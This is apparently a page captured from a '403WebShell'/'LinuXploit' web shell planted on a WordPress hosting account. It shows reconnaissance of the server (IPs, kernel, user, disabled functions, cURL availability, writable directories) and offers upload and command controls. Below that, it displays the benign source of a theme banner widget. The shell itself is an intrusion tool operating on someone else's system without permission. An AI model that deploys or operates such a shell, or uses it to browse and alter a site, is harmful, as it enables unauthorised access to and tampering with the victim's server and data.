Uname:Linux ns69.hostinglotus.net 4.18.0-553.141.2.el8_10.x86_64 #1 SMP Wed Jul 8 10:28:18 EDT 2026 x86_64

403WebShell
403Webshell
Server IP : 119.59.104.26  /  Your IP : 216.73.217.51
Web Server : Apache/2
System : Linux ns69.hostinglotus.net 4.18.0-553.141.2.el8_10.x86_64 #1 SMP Wed Jul 8 10:28:18 EDT 2026 x86_64
User : com12370 ( 1517)
PHP Version : 7.2.34
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/com12370/public_html/wp-content/themes/titan/admin/widgets/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/com12370/public_html/wp-content/themes/titan/admin/widgets/plugins/class.piads.php
<?php



class piAds extends WP_Widget

{

    public $aDef  =  array("title"=>"Banner", "description"=>"", "image"=>"", "link"=>"");

    public function __construct()

    {

        $args = array('classname'=>'pi_banner',  'description'=>__('Banner', 'titan'));

        parent::__construct("pi_banner", __( PI_THEMENAME . 'Banner', 'titan' ),  $args);

    }



    /**

    * Outputs the content of the widget

    *

    * @param array $args

    * @param array $instance

    */

    public function widget( $atts, $aInstance )

    {

        $aInstance = wp_parse_args($aInstance, $this->aDef);



        print $atts['before_widget'];

            if( isset($aInstance['title']) )

            {

                print $atts['before_title'] . esc_html($aInstance['title']) . $atts['after_title'];

            }

            echo '<a href="'.esc_url($aInstance['link']).'" target="_blank"><img src="'.esc_url($aInstance['image']).'" alt="'.esc_attr($aInstance['title']).'"></a>';

        print $atts['after_widget'];

    }





    /**

    * Outputs the options form on admin

    *

    * @param array $instance The widget options

    */

    public function form( $aInstance )

    {

        $aInstance = wp_parse_args($aInstance, $this->aDef);



        piWidgets::pi_text_field( __('Title', 'titan'), $this->get_field_id('title'), $this->get_field_name('title'), $aInstance['title']);

        piWidgets::pi_upload_field( __('Image', 'titan'), $this->get_field_id('image'), $this->get_field_id('upload_button'), $this->get_field_name('image'), false, $aInstance['image']);

        piWidgets::pi_link_field( __('Link', 'titan'), $this->get_field_id('link'), $this->get_field_name('link'), $aInstance['link']);

    }



    /**

     * Processing widget options on save

     *

     * @param array $new_instance The new options

     * @param array $old_instance The previous options

     */

    public function update( $aNewInstance, $aOldInstance )

    {

        $aInstance = $aOldInstance;



        foreach ( $aNewInstance as $key => $val )

        {

            if ( $key =='image' || $key == 'link' )

            {

                $aInstance[$key] = esc_url($val);

            }else{

                $aInstance[$key] = strip_tags($val);

            }

        }



        return $aInstance;

    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit